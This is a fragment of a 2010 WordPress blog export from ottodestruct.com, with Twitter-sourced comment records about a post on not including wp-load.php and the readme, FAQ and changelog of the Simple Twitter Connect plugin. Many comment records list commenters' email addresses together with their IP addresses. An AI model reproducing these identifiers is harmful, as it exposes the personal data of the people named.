    7519 me@ajaydsouza.com http://ajaydsouza.com/ 117.192.235.225 2010-02-09 20:54:45 2010-02-10 02:54:45 1 0 0 7520 http://twitter.com/lewayotte 2010-02-09 21:48:09 2010-02-10 03:48:09 RT: @glennansley, @markjaquith: Every WordPress plugin developer should read this! http://tinyurl.com/ygezez8

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7521 http://twitter.com/w3edge 2010-02-09 21:47:15 2010-02-10 03:47:15 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7522 http://twitter.com/glennansley 2010-02-09 21:42:00 2010-02-10 03:42:00 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7523 http://twitter.com/petemall 2010-02-09 21:41:07 2010-02-10 03:41:07 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7524 http://twitter.com/cdharrison 2010-02-09 21:41:06 2010-02-10 03:41:06 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7525 http://twitter.com/markjaquith 2010-02-09 21:40:36 2010-02-10 03:40:36 Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7526 ron@ronandandrea.com http://wpmututorials.com 69.168.171.24 2010-02-09 22:00:29 2010-02-10 04:00:29 1 7513 0 7527 http://twitter.com/saracannon 2010-02-09 22:11:11 2010-02-10 04:11:11 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7528 http://twitter.com/mus_hi 2010-02-09 22:09:25 2010-02-10 04:09:25 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7529 http://twitter.com/ptahdunbar 2010-02-09 22:06:07 2010-02-10 04:06:07 Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/ (via @markjaquith)

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7530 http://twitter.com/surferzworld 2010-02-09 22:00:25 2010-02-10 04:00:25 RT @w3edge: RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-p

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7531 http://twitter.com/wordpresshosts 2010-02-09 21:53:49 2010-02-10 03:53:49 RT @w3edge: RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-p

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7532 http://twitter.com/wordpresshosts 2010-02-09 21:53:44 2010-02-10 03:53:44 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7533 http://twitter.com/turkeymonkey 2010-02-09 21:53:22 2010-02-10 03:53:22 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7534 http://twitter.com/bernadus 2010-02-09 21:53:17 2010-02-10 03:53:17 RT @w3edge: RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-p

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7535 http://twitter.com/danielcannon 2010-02-09 22:39:38 2010-02-10 04:39:38 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7536 anant.shrivastava@gmail.com http://blog.anantshri.info 219.64.90.238 2010-02-10 00:25:31 2010-02-10 06:25:31 1 0 0 7537 http://twitter.com/Jghazally 2010-02-10 02:05:39 2010-02-10 08:05:39 Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/ (via @markjaquith)

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7538 http://twitter.com/glennansley 2010-02-09 11:44:56 2010-02-09 17:44:56 How to include #WordPress data (options,meta_data,etc) in JS files w/o including wp-load: http://bit.ly/bLe3JB (@otto42 via wp-hackers)

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7539 http://twitter.com/ottodestruct 2010-02-09 11:24:51 2010-02-09 17:24:51 Don’t include wp-load, please. http://goo.gl/fb/qzmP

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7540 http://twitter.com/tomwillmot 2010-02-10 03:22:29 2010-02-10 09:22:29 RT @w3edge: RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-p

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7541 dkoopersmith@gmail.com http://elastictheme.org 188.74.71.155 2010-02-10 03:56:06 2010-02-10 09:56:06 1 0 0 7542 http://twitter.com/joetek 2010-02-10 05:22:16 2010-02-10 11:22:16 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7543 ozh@planetozh.com http://planetozh.com/ 88.161.122.14 2010-02-10 07:23:48 2010-02-10 13:23:48 1 0 0 7544 http://twitter.com/andrea_r 2010-02-10 07:31:06 2010-02-10 13:31:06 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/…;

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7546 http://twitter.com/wpwednesday 2010-02-10 07:30:04 2010-02-10 13:30:04 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/…;

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7547 http://twitter.com/wordcamprdu 2010-02-10 07:30:04 2010-02-10 13:30:04 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/…;

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7549 http://twitter.com/wpwednesdays 2010-02-10 07:30:04 2010-02-10 13:30:04 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/…;

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7551 http://twitter.com/wpwed 2010-02-10 07:30:04 2010-02-10 13:30:04 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/…;

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7552 http://twitter.com/valentmustamin 2010-02-10 07:46:04 2010-02-10 13:46:04 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7553 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-10 08:50:14 2010-02-10 14:50:14 1 7519 1 7554 http://twitter.com/dimensionmedia 2010-02-10 08:51:33 2010-02-10 14:51:33 RT @markjaquith: Every WordPress plugin developer should read this! http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7555 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-10 08:55:20 2010-02-10 14:55:20 1 7541 1 7556 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-10 08:56:34 2010-02-10 14:56:34 1 7543 1 7558 http://twitter.com/GIGALinux 2010-02-10 09:46:11 2010-02-10 15:46:11 An alle WordPress-Plugin-Entwickler: Bitte nicht die “wp-load.php” direkt einbinden! http://is.gd/85BvJ #wordpress #dev

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7559 me@ajaydsouza.com http://ajaydsouza.com/ 117.192.236.133 2010-02-10 12:17:06 2010-02-10 18:17:06 1 7553 0 7560 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-10 12:40:14 2010-02-10 18:40:14 Super Cache plugin to do what you need to do. b) Or, make the code as static as possible, using all static JS, then retrieve the data you need with a direct AJAX call to admin-ajax.php. Super-cache won't cache those.]]> 1 7559 1 7561 anant.shrivastava@gmail.com http://blog.anantshri.info 219.64.90.238 2010-02-10 12:50:34 2010-02-10 18:50:34 1 7557 0 7562 http://techtites.com/2010/02/10/wordpress-picks-for-the-week-0210/ 206.214.208.49 2010-02-10 13:04:29 2010-02-10 19:04:29 1 pingback 0 0 7563 anant.shrivastava@gmail.com http://blog.anantshri.info 219.64.90.238 2010-02-10 13:17:07 2010-02-10 19:17:07 1 0 0 7564 ronalfy@gmail.com http://www.ajaxeditcomments.com 63.97.102.250 2010-02-10 14:34:15 2010-02-10 20:34:15 never need to be generated on the fly. I have never seen a use for it. Ever. Localized JavaScript variables negate the need for dynamic JavaScript. Dynamic CSS, on the other hand, that's another story. I used PHP and passed query variables instead of searching for wp-load. I really liked your json_encode sample since it encouraged localization. One other thing you might want to mention is the wp_localize_script function, which behaves similarly to your json_encode example. In all, I learned a lot. My plugin makes use of wp-load in various places (not in JS files), and I will use this information to re-work some of the code. Take care.]]> 1 0 0 7565 ronalfy@gmail.com http://www.ajaxeditcomments.com 63.97.102.250 2010-02-10 15:04:29 2010-02-10 21:04:29 json_encode to work, as it uses a header (check class-json.php, line 238) and results in a PHP error. Instead, I found that calling the encodeUnsafe method in the json class directly results in satisfactory results.
    <script type='text/javascript'> /* <![CDATA[ */ var wpajaxeditcomments = <?php require_once(ABSPATH . '/wp-includes/class-json.php' ); $wp_json = new Services_JSON(); echo stripslashes($wp_json->encodeUnsafe($this->get_js_vars($post->ID))); ?>; /* ]]> */ </script>
    My get_js_vars function returns an array. I like this method over wp_localize_script just because the encodeUnsafe method prints them all on one line. wp_localize_script puts them each on a separate line and increases pageload.]]>
    1 0 0
    7574 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-11 09:37:10 2010-02-11 15:37:10 1 7565 1 7593 ryanhellyer@hotmail.com http://pixopoint.com/ 120.89.82.98 2010-02-12 22:55:16 2010-02-13 04:55:16 1 7543 0 7594 otto@ottodestruct.com http://ottodestruct.com 75.64.201.27 2010-02-12 23:03:20 2010-02-13 05:03:20 1 7593 1 7595 ryanhellyer@hotmail.com http://pixopoint.com/ 120.89.82.98 2010-02-12 23:03:40 2010-02-13 05:03:40 1 0 0 7596 otto@ottodestruct.com http://ottodestruct.com 75.64.201.27 2010-02-12 23:08:51 2010-02-13 05:08:51 1 7595 1 7602 ryanhellyer@hotmail.com http://pixopoint.com/ 119.224.31.170 2010-02-13 19:38:46 2010-02-14 01:38:46 1 7596 0 7603 ryanhellyer@hotmail.com http://pixopoint.com/ 119.224.31.170 2010-02-13 19:43:40 2010-02-14 01:43:40 1 7594 0 7604 ryanhellyer@hotmail.com http://pixopoint.com/ 119.224.31.170 2010-02-13 19:52:43 2010-02-14 01:52:43 1 7602 0 7605 spf01@hikarineko.net http://hikari.ws/cats/dev/wordpress/ 201.58.215.35 2010-02-13 21:52:53 2010-02-14 03:52:53 1 0 0 7625 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 16:07:25 2010-02-15 22:07:25 1 7602 1 7626 ryanhellyer@hotmail.com http://pixopoint.com/ 120.89.82.98 2010-02-16 20:27:36 2010-02-17 02:27:36 1 7605 0 7658 ryanhellyer@hotmail.com http://pixopoint.com/ 120.89.82.98 2010-02-18 17:58:00 2010-02-18 23:58:00 1 7625 0 7661 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-19 08:36:34 2010-02-19 14:36:34 $options = get_option('plugin_options'); header( 'Content-Type: text/css; charset=utf-8' ); echo $options['custom_css']; exit; } This is the fastest way I can find to output the data without actually writing it to a static file. This stops WordPress as early as possible, right at the plugin loading, minimizing the impact on the system. Still not ideal, of course, but it works. And in my case, the custom CSS is being read by a third party which does static caching separately from me, it's not being read by the browser directly, so it's fairly minimal to begin with.]]> 1 7658 1 7662 http://twitter.com/remimorel 2010-02-10 01:40:25 2010-02-10 07:40:25 RT @LeMondefr_Sport: Coupe de France : Quevilly fait chuter Rennes http://tinyurl.com/yzad6fq

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7831 http://ottopress.com/2010/03/dont-include-wp-load-please/ 64.202.163.10 2010-03-04 16:22:25 2010-03-04 22:22:25 1 pingback 0 0 7873 http://www.wptavern.com/forum/wordpress-weekly/1411-interview-ronald-huereca.html#post13769 174.132.192.34 2010-03-20 19:56:24 2010-03-21 00:56:24 1 pingback 0 0
    Simple Twitter Connect http://ottodestruct.com/blog/wordpress-plugins/simple-twitter-connect/ Thu, 18 Feb 2010 21:40:19 +0000 http://ottodestruct.com/blog/?page_id=677 http://ottopress.com/wordpress-plugins/simple-twitter-connect/ Plugin: [plugin name] Version: [plugin version] Last updated: [plugin updated_ago]. Downloaded: [plugin downloaded] times.

    Download Now

    Overview

    Following the same pattern as the Simple Facebook Connect plugin, this is a plugin to make connecting a WordPress blog to Twitter easy. Unlike Twitter Tools and other systems, this plugin uses Twitter's latest authentication mechanisms. No putting in Twitter names or passwords. Clicking the Connect with Twitter button will redirect a user to Twitter for approval, then bring them back to where they came from, only now with their Twitter credentials available for use. Sub-plugins can then make any use of this they like. Note: This is fully compatible with Simple Facebook Connect, and can even run at the same time as it. Naturally. :)

    Requirements

    Currently, WordPress 2.9 or higher. PHP 5. I don't write code for older versions of WordPress, or obsolete versions of PHP. Sorry.

    Features

    • Easy to install and use.
    • Modular. Only use the pieces you want to use.
    • Integrates easily into any theme.
    • Simple control panel, only has the options you need for the pieces you activate.
    • Secure. Uses the latest WordPress coding techniques to eliminate tricky security problems.

    Current sub-modules

    • Login using Twitter Credentials
    • Comment using Twitter credentials

    Future sub-modules

    • Register with Twitter Credentials
    • Push new posts to your twitter account
    • Users can push their comments to their Twitter accounts
    • Pull tweets back in as posts
    • (whatever you like, send me suggestions!)

    Installation Instructions

    1. Upload the files to the `/wp-content/plugins/simple-twitter-connect/` directory.
    2. Activate the base plugin through the 'Plugins' menu in WordPress.
    3. Configure Twitter for your site by following the instructions on the Settings screen.
    4. Activate the sub plugins you want to use through the 'Plugins' menu in WordPress and configure them appropriately. Some require no configuration at all, some require minor theme changes.

    Licensing

    This plugin is licensed under the GPL Version 2 only.

    Method to get support

    You can email me directly, however I am also a moderator at the WordPress.org support forums, so you'll find me there as well.

    Download Now

    ]]>
    677 2010-02-18 15:40:19 2010-02-18 21:40:19 closed closed simple-twitter-connect publish 172 0 page 0 _edit_lock 1268150591 _edit_last 1 btc_comment_counts a:0:{} _wp_page_template default _fb_post_id_profile 531132304_5003936640931 btc_comment_summary a:0:{} plugin simple-twitter-connect plugin-info a:41:{s:4:"name";s:22:"Simple Twitter Connect";s:4:"slug";s:22:"simple-twitter-connect";s:7:"version";s:5:"0.6.1";s:6:"author";s:42:"Otto";s:11:"profile_url";s:50:"http://wordpress.org/extend/plugins/profile/otto42";s:12:"contributors";s:67:"Otto";s:8:"requires";s:3:"2.9";s:6:"tested";s:5:"2.9.2";s:13:"compatibility";s:4:"100%";s:10:"rating_raw";s:2:"88";s:11:"num_ratings";s:1:"5";s:14:"downloaded_raw";s:4:"2279";s:11:"updated_raw";s:10:"2010-04-01";s:12:"homepage_url";s:62:"http://ottopress.com/wordpress-plugins/simple-twitter-connect/";s:11:"description";s:1511:"

    Simple Twitter Connect is a series of plugins that let you add any sort of Twitter functionality you like to a WordPress blog. This lets you have an integrated site without a lot of coding, and still letting you customize it exactly the way you'd like.

    First, you activate and set up the base plugin, which makes your site have basic Twitter functionality. Then, each of the add-on plugins will let you add small pieces of specific Twitter-related functionality, one by one.

    Requires WordPress 2.9 and PHP 5.

    Current add-ons

    • Login using Twitter
    • Comment using Twitter credentials
    • Users can auto-tweet their comments
    • Tweetmeme button
    • Auto-tweet new posts to an account

    Coming soon

    • More direct retweet button (instead of using Tweetmeme)
    • (Got more ideas? Tell me!)

    If you have suggestions for a new add-on, feel free to email me at otto@ottodestruct.com .

    Want regular updates? Become a fan of my sites on Facebook! http://www.facebook.com/apps/application.php?id=116002660893 http://www.facebook.com/ottopress

    Or follow my sites on Twitter! http://twitter.com/ottodestruct

    ";s:12:"installation";s:179:"
    1. Upload the files to the /wp-content/plugins/simple-twitter-connect/ directory
    2. Activate the plugin through the 'Plugins' menu in WordPress
    ";s:11:"screenshots";s:1041:"
    1. simple-twitter-connect screenshot 1

      Login screen showing both Simple Facebook Connect and Simple Twitter Connect login buttons.

    2. simple-twitter-connect screenshot 2

      Twitter Connect on My Profile screen.

    3. simple-twitter-connect screenshot 3

      Simple Facebook Connect and Simple Twitter Connect button on comments form.

    4. simple-twitter-connect screenshot 4

      Login info (before styling) after using Twitter connect button on comments form.

    ";s:9:"changelog";s:1632:"

    0.6.1

    • 0.6 had a fatal error in it, do not use that version.

    0.6

    • Added proper uninstaller.
    • Added shortlink support for WordPress 3.0 shortlink API.

    0.5

    • Comments plugin is a bit smarter now. Settings page fixed, and the "Send to Twitter" can be disabled. Disabling also prevents the google ajax libraries from loading (they are used to get location of the user for location info in tweets).
    • Tweetmeme script now using HTML comments, so as not to show up tweetmeme settings in strange places (feeds, FB Share, etc).
    • Automatic Tweeting on Post Publishing added. Supports posting to alternate Twitter accounts. Manual publishing coming soon.

    0.4

    • Warning about shortlinks.
    • Login now displays an error message when somebody attempts to login as a user that isn't recognized yet.
    • Added Tweetmeme button plugin (STC is compatible with the already existing TweetMeme plugins also, but for completeness, this needed to be in STC as well).

    0.3.1

    • Fixed error in 0.3 that caused comments to not load on some server configurations.

    0.3

    • Fix logout bug and comments bug.
    • Remove person extensions. They don't work right anyway. Revisit later.
    • Add urlencoding to fix login for some odd server configurations.

    0.2

    • Login security issue fixed.
    • Logout link added to comments.
    • Minor internal design changes.

    0.1

    • Initial release
    ";s:3:"faq";s:3577:"

    Whoa, what's with all these plugins?

    The principle behind this plugin is to enable small pieces of Twitter functionality, one at a time.

    Thus, you have the base plugin, which does nothing except to enable your site for Twitter OAuth in general. It's required by all the other plugins.

    Then you have individual plugins, one for each piece of functionality. One for enabling comments, one for adding Login, etc. These are all smaller and simpler, for the most part, because they don't have to add all the Twitter connections stuff that the base plugin adds.

    The comments plugin isn't working!

    You have to modify your theme to use the comments plugin.

    In your comments.php file (or wherever your comments form is), you need to do the following.

    1. Find the three inputs for the author, email, and url information. They need to have those ID's on the inputs (author, email, url). This is what the default theme and all standardized themes use, but some may be slightly different. You'll have to alter them to have these ID's in that case.

    2. Just before the first input, add this code: [div id="comment-user-details"] [?php do_action('alt_comment_login'); ?]

    (Replace the []'s with normal html greater/less than signs).

    1. Just below the last input (not the comment text area, just the name/email/url inputs, add this: [/div]

    That will add the necessary pieces to allow the script to work.

    Hopefully, a future version of WordPress will make this simpler.

    Twitter Avatars look wrong.

    Twitter avatars use slightly different code than other avatars. They should style the same, but not all themes will have this working properly, due to various theme designs and such.

    However, it is almost always possible to correct this with some simple CSS adjustments. For this reason, they are given a special "twitter-avatar" class, for you to use to style them as you need. Just use .twitter-avatar in your CSS and add styling rules to correct those specific avatars.

    Why can't I email people who comment using Twitter?

    Twitter offers no way to get a valid email address for a user. So the comments plugin uses a fake address of the twitter's username @fake.twitter.com. The "fake" is the giveaway here.

    When users connect using Twitter on the Comments section, there's a delay before their info appears.

    Yes. In order to make the plugin more compatible with caching plugins like WP-Super-Cache, the data for a Twitter connect account is retreived from the server using an AJAX request. This means that there will be a slight delay while the data is retrieved, but the page has already been loaded and displayed. Most of the time this will not be noticable.

    Why does the settings screen warn me that I don't have a URL shortener plugin?

    Simple Twitter Connect does not implement a URL shortening service in favor of letting other plugins implement one for it. WordPress 3.0 includes a new shortlink method for plugins to implement this properly.

    A shortener plugin should implement the "get_shortlink" filter for it to be detected. WordPress 3.0 will be required for this to work.

    The WordPress.com stats plugin implements this, and it provides shortlinks to "wp.me" URLs. If you wish to use another shortener plugin, tell that plugin's author to implement this same standard, and the plugin will automatically be detected and used by Simple Twitter Connect.

    ";s:12:"download_url";s:70:"http://downloads.wordpress.org/plugin/simple-twitter-connect.0.6.1.zip";s:4:"tags";s:50:"javascript, otto42, otto, simple, connect, twitter";s:11:"compat_with";s:5:"2.9.2";s:10:"downloaded";s:5:"2,279";s:6:"rating";s:1:"5";s:8:"link_url";s:59:"http://wordpress.org/extend/plugins/simple-twitter-connect/";s:7:"updated";s:13:"April 1, 2010";s:11:"updated_ago";s:10:"4 days ago";s:8:"download";s:87:"%s";s:8:"homepage";s:79:"%s";s:4:"link";s:76:"%s";s:7:"profile";s:67:"%s";s:10:"author_url";s:23:"http://ottodestruct.com";s:11:"author_name";s:4:"Otto";s:13:"latest_change";s:73:"
    • 0.6 had a fatal error in it, do not use that version.
    ";s:13:"download_link";s:70:"http://downloads.wordpress.org/plugin/simple-twitter-connect.0.6.1.zip";s:9:"tags_list";s:50:"javascript, otto42, otto, simple, connect, twitter";s:6:"extend";s:59:"http://wordpress.org/extend/plugins/simple-twitter-connect/";s:17:"last_updated_nice";s:13:"April 1, 2010";s:12:"last_updated";s:13:"April 1, 2010";s:16:"last_updated_ago";s:10:"4 days ago";s:16:"last_updated_raw";s:10:"2010-04-01";}
    _revision-control 0 7663 http://ottodestruct.com/blog/2010/simple-twitter-connect/ 64.202.163.10 2010-02-19 13:39:10 2010-02-19 19:39:10 1 pingback 0 0 7665 PrttyShnySprkly@fake.twitter.com http://twitter.com/PrttyShnySprkly 99.29.118.244 2010-02-19 14:31:48 2010-02-19 20:31:48 1 0 0 7686 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 01:54:32 2010-02-20 07:54:32 1 0 0 7688 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 07:15:29 2010-02-20 13:15:29 1 7686 0 7694 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 16:52:04 2010-02-20 22:52:04 1 7688 1 7698 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 16:58:56 2010-02-20 22:58:56 1 7694 0 7702 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 17:25:33 2010-02-20 23:25:33 1 7698 1 7705 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 17:50:24 2010-02-20 23:50:24 1 7702 0 7721 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-23 14:14:44 2010-02-23 20:14:44 1 0 0 7722 Otto42@fake.twitter.com http://twitter.com/Otto42 169.198.254.6 2010-02-23 14:33:42 2010-02-23 20:33:42 1 7721 0 7723 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-23 14:35:49 2010-02-23 20:35:49 1 7721 1 7725 arne@schumannbach.de 85.178.40.145 2010-02-23 16:17:47 2010-02-23 22:17:47 1 0 0 7726 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-23 16:36:12 2010-02-23 22:36:12 1 7725 1 7728 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-24 10:36:44 2010-02-24 16:36:44 1 7723 0 7729 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-24 10:45:18 2010-02-24 16:45:18 1 7728 1 7739 http://weblogtoolscollection.com/archives/2010/02/25/wordpress-plugin-releases-for-0225-2/ 174.123.98.98 2010-02-25 12:01:34 2010-02-25 18:01:34 1 pingback 0 0 7746 http://www.webmercial.dk/links-for-2010-02-26.htm 193.162.142.110 2010-02-26 02:30:26 2010-02-26 08:30:26 1 pingback 0 0 7755 iTalal@fake.twitter.com http://twitter.com/iTalal 66.25.37.114 2010-02-27 00:39:15 2010-02-27 06:39:15 1 0 0 7760 http://sonofbyte.com/2010/02/wordpress-plugin-releases-for-0225/ 216.17.109.122 2010-02-27 18:09:53 2010-02-28 00:09:53 1 pingback 0 0 7796 macbroadcast@fake.twitter.com http://twitter.com/macbroadcast 92.227.203.74 2010-03-03 22:05:17 2010-03-04 04:05:17 1 0 0 7799 http://jesperbalslev.dk/?p=207 208.97.190.14 2010-03-04 01:43:13 2010-03-04 07:43:13 1 pingback 0 0 7851 ozh@planetozh.com http://planetozh.com/ 88.161.122.14 2010-03-07 14:37:21 2010-03-07 20:37:21 1 0 0 7853 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-08 08:58:45 2010-03-08 14:58:45 1 7851 1 7859 creatively.organizing@gmail.com http://www.creativelyorganizing.net 24.94.113.221 2010-03-08 18:09:43 2010-03-09 00:09:43 1 0 0 7863 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-09 08:29:24 2010-03-09 14:29:24 1 7859 1 7865 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-09 10:02:22 2010-03-09 16:02:22 1 0 1
    simple-twitter-connect http://ottodestruct.com/blog/?attachment_id=683 Fri, 19 Feb 2010 19:22:48 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/simple-twitter-connect.zip 683 2010-02-19 13:22:48 2010-02-19 19:22:48 open open simple-twitter-connect-2 inherit 0 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/simple-twitter-connect.zip _wp_attached_file 2010/02/simple-twitter-connect.zip _wp_attachment_metadata a:0:{} btc_comment_counts a:0:{} Simple Twitter Connect http://ottodestruct.com/blog/2010/simple-twitter-connect/ Fri, 19 Feb 2010 19:38:55 +0000 http://ottodestruct.com/blog/?p=688 Simple Twitter Connect It's similar in concept to the Simple Facebook Connect plugin. In fact, it rips off quite a lot of the same code. But instead of Facebook, this integrates your WordPress site better with Twitter. Now, there's a lot of Twitter plugins out there already. And this plugin by no means competes with them (yet). This plugin can't, for example, send a post to Twitter (yet). Nor can it pull posts from Twitter to display on your own site (yet). What it does is to provide the framework for a more complete Twitter integration. Right now it can do:
    • Login via Twitter
    • Comment via Twitter
    Not much, really. But it has the backend code necessary to make it easier to connect your site to a Twitter Application, and to make plugins surrounding it that won't interfere with each other. That's the same basic reason for the Simple Facebook Connect plugin. So yes, eventually this plugin will send and receive stuff from Twitter. But for now, it lets you allow users to Login and/or to have users Comment using their Twitter credentials. Expect frequent updates. ]]>
    688 2010-02-19 13:38:55 2010-02-19 19:38:55 open open simple-twitter-connect publish 0 0 post 0 _edit_lock 1267297624 _edit_last 1 _fb_post_id_profile 531132304_5003939683946 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_post a:6:{s:2:"ID";s:3:"688";s:13:"post_date_gmt";s:19:"2010-02-19 19:38:55";s:23:"initial_import_date_gmt";s:19:"2010-02-19 19:40:23";s:20:"last_import_date_gmt";s:19:"2010-03-11 17:25:04";s:4:"hits";s:1:"3";s:6:"misses";s:3:"254";} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"3";s:7:"enabled";s:1:"1";}} btc_twitter 7664 btc_retweet 7667 btc_twitter 7667 btc_twitter 7690 7664 http://twitter.com/ottodestruct 2010-02-19 13:39:32 2010-02-19 19:39:32 Simple Twitter Connect http://goo.gl/fb/s3FT

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7667 http://twitter.com/remimorel 2010-02-10 01:40:25 2010-02-10 07:40:25 RT @LeMondefr_Sport: Coupe de France : Quevilly fait chuter Rennes http://tinyurl.com/yzad6fq

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    7690 http://twitter.com/planetwp 2010-02-19 22:59:16 2010-02-20 04:59:16 Nothing to see here: Simple Twitter Connect http://goo.gl/fb/8H7X

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7727 moncheeyuson@gmail.com http://www.facebook.com/moncheeyuson 112.200.216.112 2010-02-23 18:35:13 2010-02-24 00:35:13 1 0 0 7781 ryanhellyer@hotmail.com http://pixopoint.com/ 120.89.82.98 2010-03-02 18:15:36 2010-03-03 00:15:36 1 0 0 7835 info@easyrent.asia http://easyrent.asia 124.120.40.145 2010-03-05 03:09:29 2010-03-05 09:09:29 1 0 0
